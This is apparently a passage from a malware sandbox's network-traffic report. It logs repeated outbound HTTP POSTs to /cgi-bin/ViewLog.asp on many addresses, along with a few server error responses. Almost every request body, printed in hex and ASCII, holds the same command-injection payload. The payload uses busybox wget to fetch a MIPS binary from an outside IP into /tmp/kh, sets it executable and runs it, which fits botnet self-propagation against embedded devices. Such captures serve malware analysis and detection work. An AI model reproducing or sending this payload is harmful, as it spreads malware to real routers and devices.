                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                809192.168.2.154715294.136.19.1318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:57.092195034 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                810192.168.2.155874894.122.104.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:57.117046118 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                811192.168.2.155775294.122.87.1648080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:57.117444992 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                812192.168.2.152254539.104.10.12623
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:57.589088917 CET121INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 0a
                                                Data Ascii: Unauthorized ...IP Address:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                813192.168.2.154702439.104.10.12623
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.043190002 CET121INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 0a
                                                Data Ascii: Unauthorized ...IP Address:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                814192.168.2.155775231.136.243.2238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.226191998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.304065943 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.447887897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                815192.168.2.155375095.105.255.578080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.234661102 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                816192.168.2.155162662.173.141.2058080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.256865025 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.923969030 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.135847092 CET505INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:59 GMT
                                                Server: Apache/2.4.58 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1f
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                817192.168.2.153917062.29.112.398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.261486053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                818192.168.2.155188231.136.164.2018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.426707983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.560062885 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.703895092 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                819192.168.2.154171495.86.67.468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.469409943 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                820192.168.2.155182462.234.24.1258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.556616068 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.885260105 CET932INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 682
                                                Date: Thu, 23 Nov 2023 04:22:58 GMT
                                                Keep-Alive: timeout=60
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 33 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.73</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                821192.168.2.155331494.187.111.648080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.579437017 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                822192.168.2.154688894.120.214.1048080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.587096930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                823192.168.2.155946431.136.148.1498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:58.671658039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.256138086 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:00.408086061 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
